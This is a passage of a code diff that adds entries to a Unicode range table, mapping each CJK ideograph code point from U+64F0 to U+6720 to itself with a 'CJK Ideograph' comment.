+ [0x64f0, 0x64f0], /* CJK Ideograph */
+ [0x64f1, 0x64f1], /* CJK Ideograph */
+ [0x64f2, 0x64f2], /* CJK Ideograph */
+ [0x64f3, 0x64f3], /* CJK Ideograph */
+ [0x64f4, 0x64f4], /* CJK Ideograph */
+ [0x64f5, 0x64f5], /* CJK Ideograph */
+ [0x64f6, 0x64f6], /* CJK Ideograph */
+ [0x64f7, 0x64f7], /* CJK Ideograph */
+ [0x64f8, 0x64f8], /* CJK Ideograph */
+ [0x64f9, 0x64f9], /* CJK Ideograph */
+ [0x64fa, 0x64fa], /* CJK Ideograph */
+ [0x64fb, 0x64fb], /* CJK Ideograph */
+ [0x64fc, 0x64fc], /* CJK Ideograph */
+ [0x64fd, 0x64fd], /* CJK Ideograph */
+ [0x64fe, 0x64fe], /* CJK Ideograph */
+ [0x64ff, 0x64ff], /* CJK Ideograph */
+ [0x6500, 0x6500], /* CJK Ideograph */
+ [0x6501, 0x6501], /* CJK Ideograph */
+ [0x6502, 0x6502], /* CJK Ideograph */
+ [0x6503, 0x6503], /* CJK Ideograph */
+ [0x6504, 0x6504], /* CJK Ideograph */
+ [0x6505, 0x6505], /* CJK Ideograph */
+ [0x6506, 0x6506], /* CJK Ideograph */
+ [0x6507, 0x6507], /* CJK Ideograph */
+ [0x6508, 0x6508], /* CJK Ideograph */
+ [0x6509, 0x6509], /* CJK Ideograph */
+ [0x650a, 0x650a], /* CJK Ideograph */
+ [0x650b, 0x650b], /* CJK Ideograph */
+ [0x650c, 0x650c], /* CJK Ideograph */
+ [0x650d, 0x650d], /* CJK Ideograph */
+ [0x650e, 0x650e], /* CJK Ideograph */
+ [0x650f, 0x650f], /* CJK Ideograph */
+ [0x6510, 0x6510], /* CJK Ideograph */
+ [0x6511, 0x6511], /* CJK Ideograph */
+ [0x6512, 0x6512], /* CJK Ideograph */
+ [0x6513, 0x6513], /* CJK Ideograph */
+ [0x6514, 0x6514], /* CJK Ideograph */
+ [0x6515, 0x6515], /* CJK Ideograph */
+ [0x6516, 0x6516], /* CJK Ideograph */
+ [0x6517, 0x6517], /* CJK Ideograph */
+ [0x6518, 0x6518], /* CJK Ideograph */
+ [0x6519, 0x6519], /* CJK Ideograph */
+ [0x651a, 0x651a], /* CJK Ideograph */
+ [0x651b, 0x651b], /* CJK Ideograph */
+ [0x651c, 0x651c], /* CJK Ideograph */
+ [0x651d, 0x651d], /* CJK Ideograph */
+ [0x651e, 0x651e], /* CJK Ideograph */
+ [0x651f, 0x651f], /* CJK Ideograph */
+ [0x6520, 0x6520], /* CJK Ideograph */
+ [0x6521, 0x6521], /* CJK Ideograph */
+ [0x6522, 0x6522], /* CJK Ideograph */
+ [0x6523, 0x6523], /* CJK Ideograph */
+ [0x6524, 0x6524], /* CJK Ideograph */
+ [0x6525, 0x6525], /* CJK Ideograph */
+ [0x6526, 0x6526], /* CJK Ideograph */
+ [0x6527, 0x6527], /* CJK Ideograph */
+ [0x6528, 0x6528], /* CJK Ideograph */
+ [0x6529, 0x6529], /* CJK Ideograph */
+ [0x652a, 0x652a], /* CJK Ideograph */
+ [0x652b, 0x652b], /* CJK Ideograph */
+ [0x652c, 0x652c], /* CJK Ideograph */
+ [0x652d, 0x652d], /* CJK Ideograph */
+ [0x652e, 0x652e], /* CJK Ideograph */
+ [0x652f, 0x652f], /* CJK Ideograph */
+ [0x6530, 0x6530], /* CJK Ideograph */
+ [0x6531, 0x6531], /* CJK Ideograph */
+ [0x6532, 0x6532], /* CJK Ideograph */
+ [0x6533, 0x6533], /* CJK Ideograph */
+ [0x6534, 0x6534], /* CJK Ideograph */
+ [0x6535, 0x6535], /* CJK Ideograph */
+ [0x6536, 0x6536], /* CJK Ideograph */
+ [0x6537, 0x6537], /* CJK Ideograph */
+ [0x6538, 0x6538], /* CJK Ideograph */
+ [0x6539, 0x6539], /* CJK Ideograph */
+ [0x653a, 0x653a], /* CJK Ideograph */
+ [0x653b, 0x653b], /* CJK Ideograph */
+ [0x653c, 0x653c], /* CJK Ideograph */
+ [0x653d, 0x653d], /* CJK Ideograph */
+ [0x653e, 0x653e], /* CJK Ideograph */
+ [0x653f, 0x653f], /* CJK Ideograph */
+ [0x6540, 0x6540], /* CJK Ideograph */
+ [0x6541, 0x6541], /* CJK Ideograph */
+ [0x6542, 0x6542], /* CJK Ideograph */
+ [0x6543, 0x6543], /* CJK Ideograph */
+ [0x6544, 0x6544], /* CJK Ideograph */
+ [0x6545, 0x6545], /* CJK Ideograph */
+ [0x6546, 0x6546], /* CJK Ideograph */
+ [0x6547, 0x6547], /* CJK Ideograph */
+ [0x6548, 0x6548], /* CJK Ideograph */
+ [0x6549, 0x6549], /* CJK Ideograph */
+ [0x654a, 0x654a], /* CJK Ideograph */
+ [0x654b, 0x654b], /* CJK Ideograph */
+ [0x654c, 0x654c], /* CJK Ideograph */
+ [0x654d, 0x654d], /* CJK Ideograph */
+ [0x654e, 0x654e], /* CJK Ideograph */
+ [0x654f, 0x654f], /* CJK Ideograph */
+ [0x6550, 0x6550], /* CJK Ideograph */
+ [0x6551, 0x6551], /* CJK Ideograph */
+ [0x6552, 0x6552], /* CJK Ideograph */
+ [0x6553, 0x6553], /* CJK Ideograph */
+ [0x6554, 0x6554], /* CJK Ideograph */
+ [0x6555, 0x6555], /* CJK Ideograph */
+ [0x6556, 0x6556], /* CJK Ideograph */
+ [0x6557, 0x6557], /* CJK Ideograph */
+ [0x6558, 0x6558], /* CJK Ideograph */
+ [0x6559, 0x6559], /* CJK Ideograph */
+ [0x655a, 0x655a], /* CJK Ideograph */
+ [0x655b, 0x655b], /* CJK Ideograph */
+ [0x655c, 0x655c], /* CJK Ideograph */
+ [0x655d, 0x655d], /* CJK Ideograph */
+ [0x655e, 0x655e], /* CJK Ideograph */
+ [0x655f, 0x655f], /* CJK Ideograph */
+ [0x6560, 0x6560], /* CJK Ideograph */
+ [0x6561, 0x6561], /* CJK Ideograph */
+ [0x6562, 0x6562], /* CJK Ideograph */
+ [0x6563, 0x6563], /* CJK Ideograph */
+ [0x6564, 0x6564], /* CJK Ideograph */
+ [0x6565, 0x6565], /* CJK Ideograph */
+ [0x6566, 0x6566], /* CJK Ideograph */
+ [0x6567, 0x6567], /* CJK Ideograph */
+ [0x6568, 0x6568], /* CJK Ideograph */
+ [0x6569, 0x6569], /* CJK Ideograph */
+ [0x656a, 0x656a], /* CJK Ideograph */
+ [0x656b, 0x656b], /* CJK Ideograph */
+ [0x656c, 0x656c], /* CJK Ideograph */
+ [0x656d, 0x656d], /* CJK Ideograph */
+ [0x656e, 0x656e], /* CJK Ideograph */
+ [0x656f, 0x656f], /* CJK Ideograph */
+ [0x6570, 0x6570], /* CJK Ideograph */
+ [0x6571, 0x6571], /* CJK Ideograph */
+ [0x6572, 0x6572], /* CJK Ideograph */
+ [0x6573, 0x6573], /* CJK Ideograph */
+ [0x6574, 0x6574], /* CJK Ideograph */
+ [0x6575, 0x6575], /* CJK Ideograph */
+ [0x6576, 0x6576], /* CJK Ideograph */
+ [0x6577, 0x6577], /* CJK Ideograph */
+ [0x6578, 0x6578], /* CJK Ideograph */
+ [0x6579, 0x6579], /* CJK Ideograph */
+ [0x657a, 0x657a], /* CJK Ideograph */
+ [0x657b, 0x657b], /* CJK Ideograph */
+ [0x657c, 0x657c], /* CJK Ideograph */
+ [0x657d, 0x657d], /* CJK Ideograph */
+ [0x657e, 0x657e], /* CJK Ideograph */
+ [0x657f, 0x657f], /* CJK Ideograph */
+ [0x6580, 0x6580], /* CJK Ideograph */
+ [0x6581, 0x6581], /* CJK Ideograph */
+ [0x6582, 0x6582], /* CJK Ideograph */
+ [0x6583, 0x6583], /* CJK Ideograph */
+ [0x6584, 0x6584], /* CJK Ideograph */
+ [0x6585, 0x6585], /* CJK Ideograph */
+ [0x6586, 0x6586], /* CJK Ideograph */
+ [0x6587, 0x6587], /* CJK Ideograph */
+ [0x6588, 0x6588], /* CJK Ideograph */
+ [0x6589, 0x6589], /* CJK Ideograph */
+ [0x658a, 0x658a], /* CJK Ideograph */
+ [0x658b, 0x658b], /* CJK Ideograph */
+ [0x658c, 0x658c], /* CJK Ideograph */
+ [0x658d, 0x658d], /* CJK Ideograph */
+ [0x658e, 0x658e], /* CJK Ideograph */
+ [0x658f, 0x658f], /* CJK Ideograph */
+ [0x6590, 0x6590], /* CJK Ideograph */
+ [0x6591, 0x6591], /* CJK Ideograph */
+ [0x6592, 0x6592], /* CJK Ideograph */
+ [0x6593, 0x6593], /* CJK Ideograph */
+ [0x6594, 0x6594], /* CJK Ideograph */
+ [0x6595, 0x6595], /* CJK Ideograph */
+ [0x6596, 0x6596], /* CJK Ideograph */
+ [0x6597, 0x6597], /* CJK Ideograph */
+ [0x6598, 0x6598], /* CJK Ideograph */
+ [0x6599, 0x6599], /* CJK Ideograph */
+ [0x659a, 0x659a], /* CJK Ideograph */
+ [0x659b, 0x659b], /* CJK Ideograph */
+ [0x659c, 0x659c], /* CJK Ideograph */
+ [0x659d, 0x659d], /* CJK Ideograph */
+ [0x659e, 0x659e], /* CJK Ideograph */
+ [0x659f, 0x659f], /* CJK Ideograph */
+ [0x65a0, 0x65a0], /* CJK Ideograph */
+ [0x65a1, 0x65a1], /* CJK Ideograph */
+ [0x65a2, 0x65a2], /* CJK Ideograph */
+ [0x65a3, 0x65a3], /* CJK Ideograph */
+ [0x65a4, 0x65a4], /* CJK Ideograph */
+ [0x65a5, 0x65a5], /* CJK Ideograph */
+ [0x65a6, 0x65a6], /* CJK Ideograph */
+ [0x65a7, 0x65a7], /* CJK Ideograph */
+ [0x65a8, 0x65a8], /* CJK Ideograph */
+ [0x65a9, 0x65a9], /* CJK Ideograph */
+ [0x65aa, 0x65aa], /* CJK Ideograph */
+ [0x65ab, 0x65ab], /* CJK Ideograph */
+ [0x65ac, 0x65ac], /* CJK Ideograph */
+ [0x65ad, 0x65ad], /* CJK Ideograph */
+ [0x65ae, 0x65ae], /* CJK Ideograph */
+ [0x65af, 0x65af], /* CJK Ideograph */
+ [0x65b0, 0x65b0], /* CJK Ideograph */
+ [0x65b1, 0x65b1], /* CJK Ideograph */
+ [0x65b2, 0x65b2], /* CJK Ideograph */
+ [0x65b3, 0x65b3], /* CJK Ideograph */
+ [0x65b4, 0x65b4], /* CJK Ideograph */
+ [0x65b5, 0x65b5], /* CJK Ideograph */
+ [0x65b6, 0x65b6], /* CJK Ideograph */
+ [0x65b7, 0x65b7], /* CJK Ideograph */
+ [0x65b8, 0x65b8], /* CJK Ideograph */
+ [0x65b9, 0x65b9], /* CJK Ideograph */
+ [0x65ba, 0x65ba], /* CJK Ideograph */
+ [0x65bb, 0x65bb], /* CJK Ideograph */
+ [0x65bc, 0x65bc], /* CJK Ideograph */
+ [0x65bd, 0x65bd], /* CJK Ideograph */
+ [0x65be, 0x65be], /* CJK Ideograph */
+ [0x65bf, 0x65bf], /* CJK Ideograph */
+ [0x65c0, 0x65c0], /* CJK Ideograph */
+ [0x65c1, 0x65c1], /* CJK Ideograph */
+ [0x65c2, 0x65c2], /* CJK Ideograph */
+ [0x65c3, 0x65c3], /* CJK Ideograph */
+ [0x65c4, 0x65c4], /* CJK Ideograph */
+ [0x65c5, 0x65c5], /* CJK Ideograph */
+ [0x65c6, 0x65c6], /* CJK Ideograph */
+ [0x65c7, 0x65c7], /* CJK Ideograph */
+ [0x65c8, 0x65c8], /* CJK Ideograph */
+ [0x65c9, 0x65c9], /* CJK Ideograph */
+ [0x65ca, 0x65ca], /* CJK Ideograph */
+ [0x65cb, 0x65cb], /* CJK Ideograph */
+ [0x65cc, 0x65cc], /* CJK Ideograph */
+ [0x65cd, 0x65cd], /* CJK Ideograph */
+ [0x65ce, 0x65ce], /* CJK Ideograph */
+ [0x65cf, 0x65cf], /* CJK Ideograph */
+ [0x65d0, 0x65d0], /* CJK Ideograph */
+ [0x65d1, 0x65d1], /* CJK Ideograph */
+ [0x65d2, 0x65d2], /* CJK Ideograph */
+ [0x65d3, 0x65d3], /* CJK Ideograph */
+ [0x65d4, 0x65d4], /* CJK Ideograph */
+ [0x65d5, 0x65d5], /* CJK Ideograph */
+ [0x65d6, 0x65d6], /* CJK Ideograph */
+ [0x65d7, 0x65d7], /* CJK Ideograph */
+ [0x65d8, 0x65d8], /* CJK Ideograph */
+ [0x65d9, 0x65d9], /* CJK Ideograph */
+ [0x65da, 0x65da], /* CJK Ideograph */
+ [0x65db, 0x65db], /* CJK Ideograph */
+ [0x65dc, 0x65dc], /* CJK Ideograph */
+ [0x65dd, 0x65dd], /* CJK Ideograph */
+ [0x65de, 0x65de], /* CJK Ideograph */
+ [0x65df, 0x65df], /* CJK Ideograph */
+ [0x65e0, 0x65e0], /* CJK Ideograph */
+ [0x65e1, 0x65e1], /* CJK Ideograph */
+ [0x65e2, 0x65e2], /* CJK Ideograph */
+ [0x65e3, 0x65e3], /* CJK Ideograph */
+ [0x65e4, 0x65e4], /* CJK Ideograph */
+ [0x65e5, 0x65e5], /* CJK Ideograph */
+ [0x65e6, 0x65e6], /* CJK Ideograph */
+ [0x65e7, 0x65e7], /* CJK Ideograph */
+ [0x65e8, 0x65e8], /* CJK Ideograph */
+ [0x65e9, 0x65e9], /* CJK Ideograph */
+ [0x65ea, 0x65ea], /* CJK Ideograph */
+ [0x65eb, 0x65eb], /* CJK Ideograph */
+ [0x65ec, 0x65ec], /* CJK Ideograph */
+ [0x65ed, 0x65ed], /* CJK Ideograph */
+ [0x65ee, 0x65ee], /* CJK Ideograph */
+ [0x65ef, 0x65ef], /* CJK Ideograph */
+ [0x65f0, 0x65f0], /* CJK Ideograph */
+ [0x65f1, 0x65f1], /* CJK Ideograph */
+ [0x65f2, 0x65f2], /* CJK Ideograph */
+ [0x65f3, 0x65f3], /* CJK Ideograph */
+ [0x65f4, 0x65f4], /* CJK Ideograph */
+ [0x65f5, 0x65f5], /* CJK Ideograph */
+ [0x65f6, 0x65f6], /* CJK Ideograph */
+ [0x65f7, 0x65f7], /* CJK Ideograph */
+ [0x65f8, 0x65f8], /* CJK Ideograph */
+ [0x65f9, 0x65f9], /* CJK Ideograph */
+ [0x65fa, 0x65fa], /* CJK Ideograph */
+ [0x65fb, 0x65fb], /* CJK Ideograph */
+ [0x65fc, 0x65fc], /* CJK Ideograph */
+ [0x65fd, 0x65fd], /* CJK Ideograph */
+ [0x65fe, 0x65fe], /* CJK Ideograph */
+ [0x65ff, 0x65ff], /* CJK Ideograph */
+ [0x6600, 0x6600], /* CJK Ideograph */
+ [0x6601, 0x6601], /* CJK Ideograph */
+ [0x6602, 0x6602], /* CJK Ideograph */
+ [0x6603, 0x6603], /* CJK Ideograph */
+ [0x6604, 0x6604], /* CJK Ideograph */
+ [0x6605, 0x6605], /* CJK Ideograph */
+ [0x6606, 0x6606], /* CJK Ideograph */
+ [0x6607, 0x6607], /* CJK Ideograph */
+ [0x6608, 0x6608], /* CJK Ideograph */
+ [0x6609, 0x6609], /* CJK Ideograph */
+ [0x660a, 0x660a], /* CJK Ideograph */
+ [0x660b, 0x660b], /* CJK Ideograph */
+ [0x660c, 0x660c], /* CJK Ideograph */
+ [0x660d, 0x660d], /* CJK Ideograph */
+ [0x660e, 0x660e], /* CJK Ideograph */
+ [0x660f, 0x660f], /* CJK Ideograph */
+ [0x6610, 0x6610], /* CJK Ideograph */
+ [0x6611, 0x6611], /* CJK Ideograph */
+ [0x6612, 0x6612], /* CJK Ideograph */
+ [0x6613, 0x6613], /* CJK Ideograph */
+ [0x6614, 0x6614], /* CJK Ideograph */
+ [0x6615, 0x6615], /* CJK Ideograph */
+ [0x6616, 0x6616], /* CJK Ideograph */
+ [0x6617, 0x6617], /* CJK Ideograph */
+ [0x6618, 0x6618], /* CJK Ideograph */
+ [0x6619, 0x6619], /* CJK Ideograph */
+ [0x661a, 0x661a], /* CJK Ideograph */
+ [0x661b, 0x661b], /* CJK Ideograph */
+ [0x661c, 0x661c], /* CJK Ideograph */
+ [0x661d, 0x661d], /* CJK Ideograph */
+ [0x661e, 0x661e], /* CJK Ideograph */
+ [0x661f, 0x661f], /* CJK Ideograph */
+ [0x6620, 0x6620], /* CJK Ideograph */
+ [0x6621, 0x6621], /* CJK Ideograph */
+ [0x6622, 0x6622], /* CJK Ideograph */
+ [0x6623, 0x6623], /* CJK Ideograph */
+ [0x6624, 0x6624], /* CJK Ideograph */
+ [0x6625, 0x6625], /* CJK Ideograph */
+ [0x6626, 0x6626], /* CJK Ideograph */
+ [0x6627, 0x6627], /* CJK Ideograph */
+ [0x6628, 0x6628], /* CJK Ideograph */
+ [0x6629, 0x6629], /* CJK Ideograph */
+ [0x662a, 0x662a], /* CJK Ideograph */
+ [0x662b, 0x662b], /* CJK Ideograph */
+ [0x662c, 0x662c], /* CJK Ideograph */
+ [0x662d, 0x662d], /* CJK Ideograph */
+ [0x662e, 0x662e], /* CJK Ideograph */
+ [0x662f, 0x662f], /* CJK Ideograph */
+ [0x6630, 0x6630], /* CJK Ideograph */
+ [0x6631, 0x6631], /* CJK Ideograph */
+ [0x6632, 0x6632], /* CJK Ideograph */
+ [0x6633, 0x6633], /* CJK Ideograph */
+ [0x6634, 0x6634], /* CJK Ideograph */
+ [0x6635, 0x6635], /* CJK Ideograph */
+ [0x6636, 0x6636], /* CJK Ideograph */
+ [0x6637, 0x6637], /* CJK Ideograph */
+ [0x6638, 0x6638], /* CJK Ideograph */
+ [0x6639, 0x6639], /* CJK Ideograph */
+ [0x663a, 0x663a], /* CJK Ideograph */
+ [0x663b, 0x663b], /* CJK Ideograph */
+ [0x663c, 0x663c], /* CJK Ideograph */
+ [0x663d, 0x663d], /* CJK Ideograph */
+ [0x663e, 0x663e], /* CJK Ideograph */
+ [0x663f, 0x663f], /* CJK Ideograph */
+ [0x6640, 0x6640], /* CJK Ideograph */
+ [0x6641, 0x6641], /* CJK Ideograph */
+ [0x6642, 0x6642], /* CJK Ideograph */
+ [0x6643, 0x6643], /* CJK Ideograph */
+ [0x6644, 0x6644], /* CJK Ideograph */
+ [0x6645, 0x6645], /* CJK Ideograph */
+ [0x6646, 0x6646], /* CJK Ideograph */
+ [0x6647, 0x6647], /* CJK Ideograph */
+ [0x6648, 0x6648], /* CJK Ideograph */
+ [0x6649, 0x6649], /* CJK Ideograph */
+ [0x664a, 0x664a], /* CJK Ideograph */
+ [0x664b, 0x664b], /* CJK Ideograph */
+ [0x664c, 0x664c], /* CJK Ideograph */
+ [0x664d, 0x664d], /* CJK Ideograph */
+ [0x664e, 0x664e], /* CJK Ideograph */
+ [0x664f, 0x664f], /* CJK Ideograph */
+ [0x6650, 0x6650], /* CJK Ideograph */
+ [0x6651, 0x6651], /* CJK Ideograph */
+ [0x6652, 0x6652], /* CJK Ideograph */
+ [0x6653, 0x6653], /* CJK Ideograph */
+ [0x6654, 0x6654], /* CJK Ideograph */
+ [0x6655, 0x6655], /* CJK Ideograph */
+ [0x6656, 0x6656], /* CJK Ideograph */
+ [0x6657, 0x6657], /* CJK Ideograph */
+ [0x6658, 0x6658], /* CJK Ideograph */
+ [0x6659, 0x6659], /* CJK Ideograph */
+ [0x665a, 0x665a], /* CJK Ideograph */
+ [0x665b, 0x665b], /* CJK Ideograph */
+ [0x665c, 0x665c], /* CJK Ideograph */
+ [0x665d, 0x665d], /* CJK Ideograph */
+ [0x665e, 0x665e], /* CJK Ideograph */
+ [0x665f, 0x665f], /* CJK Ideograph */
+ [0x6660, 0x6660], /* CJK Ideograph */
+ [0x6661, 0x6661], /* CJK Ideograph */
+ [0x6662, 0x6662], /* CJK Ideograph */
+ [0x6663, 0x6663], /* CJK Ideograph */
+ [0x6664, 0x6664], /* CJK Ideograph */
+ [0x6665, 0x6665], /* CJK Ideograph */
+ [0x6666, 0x6666], /* CJK Ideograph */
+ [0x6667, 0x6667], /* CJK Ideograph */
+ [0x6668, 0x6668], /* CJK Ideograph */
+ [0x6669, 0x6669], /* CJK Ideograph */
+ [0x666a, 0x666a], /* CJK Ideograph */
+ [0x666b, 0x666b], /* CJK Ideograph */
+ [0x666c, 0x666c], /* CJK Ideograph */
+ [0x666d, 0x666d], /* CJK Ideograph */
+ [0x666e, 0x666e], /* CJK Ideograph */
+ [0x666f, 0x666f], /* CJK Ideograph */
+ [0x6670, 0x6670], /* CJK Ideograph */
+ [0x6671, 0x6671], /* CJK Ideograph */
+ [0x6672, 0x6672], /* CJK Ideograph */
+ [0x6673, 0x6673], /* CJK Ideograph */
+ [0x6674, 0x6674], /* CJK Ideograph */
+ [0x6675, 0x6675], /* CJK Ideograph */
+ [0x6676, 0x6676], /* CJK Ideograph */
+ [0x6677, 0x6677], /* CJK Ideograph */
+ [0x6678, 0x6678], /* CJK Ideograph */
+ [0x6679, 0x6679], /* CJK Ideograph */
+ [0x667a, 0x667a], /* CJK Ideograph */
+ [0x667b, 0x667b], /* CJK Ideograph */
+ [0x667c, 0x667c], /* CJK Ideograph */
+ [0x667d, 0x667d], /* CJK Ideograph */
+ [0x667e, 0x667e], /* CJK Ideograph */
+ [0x667f, 0x667f], /* CJK Ideograph */
+ [0x6680, 0x6680], /* CJK Ideograph */
+ [0x6681, 0x6681], /* CJK Ideograph */
+ [0x6682, 0x6682], /* CJK Ideograph */
+ [0x6683, 0x6683], /* CJK Ideograph */
+ [0x6684, 0x6684], /* CJK Ideograph */
+ [0x6685, 0x6685], /* CJK Ideograph */
+ [0x6686, 0x6686], /* CJK Ideograph */
+ [0x6687, 0x6687], /* CJK Ideograph */
+ [0x6688, 0x6688], /* CJK Ideograph */
+ [0x6689, 0x6689], /* CJK Ideograph */
+ [0x668a, 0x668a], /* CJK Ideograph */
+ [0x668b, 0x668b], /* CJK Ideograph */
+ [0x668c, 0x668c], /* CJK Ideograph */
+ [0x668d, 0x668d], /* CJK Ideograph */
+ [0x668e, 0x668e], /* CJK Ideograph */
+ [0x668f, 0x668f], /* CJK Ideograph */
+ [0x6690, 0x6690], /* CJK Ideograph */
+ [0x6691, 0x6691], /* CJK Ideograph */
+ [0x6692, 0x6692], /* CJK Ideograph */
+ [0x6693, 0x6693], /* CJK Ideograph */
+ [0x6694, 0x6694], /* CJK Ideograph */
+ [0x6695, 0x6695], /* CJK Ideograph */
+ [0x6696, 0x6696], /* CJK Ideograph */
+ [0x6697, 0x6697], /* CJK Ideograph */
+ [0x6698, 0x6698], /* CJK Ideograph */
+ [0x6699, 0x6699], /* CJK Ideograph */
+ [0x669a, 0x669a], /* CJK Ideograph */
+ [0x669b, 0x669b], /* CJK Ideograph */
+ [0x669c, 0x669c], /* CJK Ideograph */
+ [0x669d, 0x669d], /* CJK Ideograph */
+ [0x669e, 0x669e], /* CJK Ideograph */
+ [0x669f, 0x669f], /* CJK Ideograph */
+ [0x66a0, 0x66a0], /* CJK Ideograph */
+ [0x66a1, 0x66a1], /* CJK Ideograph */
+ [0x66a2, 0x66a2], /* CJK Ideograph */
+ [0x66a3, 0x66a3], /* CJK Ideograph */
+ [0x66a4, 0x66a4], /* CJK Ideograph */
+ [0x66a5, 0x66a5], /* CJK Ideograph */
+ [0x66a6, 0x66a6], /* CJK Ideograph */
+ [0x66a7, 0x66a7], /* CJK Ideograph */
+ [0x66a8, 0x66a8], /* CJK Ideograph */
+ [0x66a9, 0x66a9], /* CJK Ideograph */
+ [0x66aa, 0x66aa], /* CJK Ideograph */
+ [0x66ab, 0x66ab], /* CJK Ideograph */
+ [0x66ac, 0x66ac], /* CJK Ideograph */
+ [0x66ad, 0x66ad], /* CJK Ideograph */
+ [0x66ae, 0x66ae], /* CJK Ideograph */
+ [0x66af, 0x66af], /* CJK Ideograph */
+ [0x66b0, 0x66b0], /* CJK Ideograph */
+ [0x66b1, 0x66b1], /* CJK Ideograph */
+ [0x66b2, 0x66b2], /* CJK Ideograph */
+ [0x66b3, 0x66b3], /* CJK Ideograph */
+ [0x66b4, 0x66b4], /* CJK Ideograph */
+ [0x66b5, 0x66b5], /* CJK Ideograph */
+ [0x66b6, 0x66b6], /* CJK Ideograph */
+ [0x66b7, 0x66b7], /* CJK Ideograph */
+ [0x66b8, 0x66b8], /* CJK Ideograph */
+ [0x66b9, 0x66b9], /* CJK Ideograph */
+ [0x66ba, 0x66ba], /* CJK Ideograph */
+ [0x66bb, 0x66bb], /* CJK Ideograph */
+ [0x66bc, 0x66bc], /* CJK Ideograph */
+ [0x66bd, 0x66bd], /* CJK Ideograph */
+ [0x66be, 0x66be], /* CJK Ideograph */
+ [0x66bf, 0x66bf], /* CJK Ideograph */
+ [0x66c0, 0x66c0], /* CJK Ideograph */
+ [0x66c1, 0x66c1], /* CJK Ideograph */
+ [0x66c2, 0x66c2], /* CJK Ideograph */
+ [0x66c3, 0x66c3], /* CJK Ideograph */
+ [0x66c4, 0x66c4], /* CJK Ideograph */
+ [0x66c5, 0x66c5], /* CJK Ideograph */
+ [0x66c6, 0x66c6], /* CJK Ideograph */
+ [0x66c7, 0x66c7], /* CJK Ideograph */
+ [0x66c8, 0x66c8], /* CJK Ideograph */
+ [0x66c9, 0x66c9], /* CJK Ideograph */
+ [0x66ca, 0x66ca], /* CJK Ideograph */
+ [0x66cb, 0x66cb], /* CJK Ideograph */
+ [0x66cc, 0x66cc], /* CJK Ideograph */
+ [0x66cd, 0x66cd], /* CJK Ideograph */
+ [0x66ce, 0x66ce], /* CJK Ideograph */
+ [0x66cf, 0x66cf], /* CJK Ideograph */
+ [0x66d0, 0x66d0], /* CJK Ideograph */
+ [0x66d1, 0x66d1], /* CJK Ideograph */
+ [0x66d2, 0x66d2], /* CJK Ideograph */
+ [0x66d3, 0x66d3], /* CJK Ideograph */
+ [0x66d4, 0x66d4], /* CJK Ideograph */
+ [0x66d5, 0x66d5], /* CJK Ideograph */
+ [0x66d6, 0x66d6], /* CJK Ideograph */
+ [0x66d7, 0x66d7], /* CJK Ideograph */
+ [0x66d8, 0x66d8], /* CJK Ideograph */
+ [0x66d9, 0x66d9], /* CJK Ideograph */
+ [0x66da, 0x66da], /* CJK Ideograph */
+ [0x66db, 0x66db], /* CJK Ideograph */
+ [0x66dc, 0x66dc], /* CJK Ideograph */
+ [0x66dd, 0x66dd], /* CJK Ideograph */
+ [0x66de, 0x66de], /* CJK Ideograph */
+ [0x66df, 0x66df], /* CJK Ideograph */
+ [0x66e0, 0x66e0], /* CJK Ideograph */
+ [0x66e1, 0x66e1], /* CJK Ideograph */
+ [0x66e2, 0x66e2], /* CJK Ideograph */
+ [0x66e3, 0x66e3], /* CJK Ideograph */
+ [0x66e4, 0x66e4], /* CJK Ideograph */
+ [0x66e5, 0x66e5], /* CJK Ideograph */
+ [0x66e6, 0x66e6], /* CJK Ideograph */
+ [0x66e7, 0x66e7], /* CJK Ideograph */
+ [0x66e8, 0x66e8], /* CJK Ideograph */
+ [0x66e9, 0x66e9], /* CJK Ideograph */
+ [0x66ea, 0x66ea], /* CJK Ideograph */
+ [0x66eb, 0x66eb], /* CJK Ideograph */
+ [0x66ec, 0x66ec], /* CJK Ideograph */
+ [0x66ed, 0x66ed], /* CJK Ideograph */
+ [0x66ee, 0x66ee], /* CJK Ideograph */
+ [0x66ef, 0x66ef], /* CJK Ideograph */
+ [0x66f0, 0x66f0], /* CJK Ideograph */
+ [0x66f1, 0x66f1], /* CJK Ideograph */
+ [0x66f2, 0x66f2], /* CJK Ideograph */
+ [0x66f3, 0x66f3], /* CJK Ideograph */
+ [0x66f4, 0x66f4], /* CJK Ideograph */
+ [0x66f5, 0x66f5], /* CJK Ideograph */
+ [0x66f6, 0x66f6], /* CJK Ideograph */
+ [0x66f7, 0x66f7], /* CJK Ideograph */
+ [0x66f8, 0x66f8], /* CJK Ideograph */
+ [0x66f9, 0x66f9], /* CJK Ideograph */
+ [0x66fa, 0x66fa], /* CJK Ideograph */
+ [0x66fb, 0x66fb], /* CJK Ideograph */
+ [0x66fc, 0x66fc], /* CJK Ideograph */
+ [0x66fd, 0x66fd], /* CJK Ideograph */
+ [0x66fe, 0x66fe], /* CJK Ideograph */
+ [0x66ff, 0x66ff], /* CJK Ideograph */
+ [0x6700, 0x6700], /* CJK Ideograph */
+ [0x6701, 0x6701], /* CJK Ideograph */
+ [0x6702, 0x6702], /* CJK Ideograph */
+ [0x6703, 0x6703], /* CJK Ideograph */
+ [0x6704, 0x6704], /* CJK Ideograph */
+ [0x6705, 0x6705], /* CJK Ideograph */
+ [0x6706, 0x6706], /* CJK Ideograph */
+ [0x6707, 0x6707], /* CJK Ideograph */
+ [0x6708, 0x6708], /* CJK Ideograph */
+ [0x6709, 0x6709], /* CJK Ideograph */
+ [0x670a, 0x670a], /* CJK Ideograph */
+ [0x670b, 0x670b], /* CJK Ideograph */
+ [0x670c, 0x670c], /* CJK Ideograph */
+ [0x670d, 0x670d], /* CJK Ideograph */
+ [0x670e, 0x670e], /* CJK Ideograph */
+ [0x670f, 0x670f], /* CJK Ideograph */
+ [0x6710, 0x6710], /* CJK Ideograph */
+ [0x6711, 0x6711], /* CJK Ideograph */
+ [0x6712, 0x6712], /* CJK Ideograph */
+ [0x6713, 0x6713], /* CJK Ideograph */
+ [0x6714, 0x6714], /* CJK Ideograph */
+ [0x6715, 0x6715], /* CJK Ideograph */
+ [0x6716, 0x6716], /* CJK Ideograph */
+ [0x6717, 0x6717], /* CJK Ideograph */
+ [0x6718, 0x6718], /* CJK Ideograph */
+ [0x6719, 0x6719], /* CJK Ideograph */
+ [0x671a, 0x671a], /* CJK Ideograph */
+ [0x671b, 0x671b], /* CJK Ideograph */
+ [0x671c, 0x671c], /* CJK Ideograph */
+ [0x671d, 0x671d], /* CJK Ideograph */
+ [0x671e, 0x671e], /* CJK Ideograph */
+ [0x671f, 0x671f], /* CJK Ideograph */
+ [0x6720, 0x6720], /* CJK Ideograph */
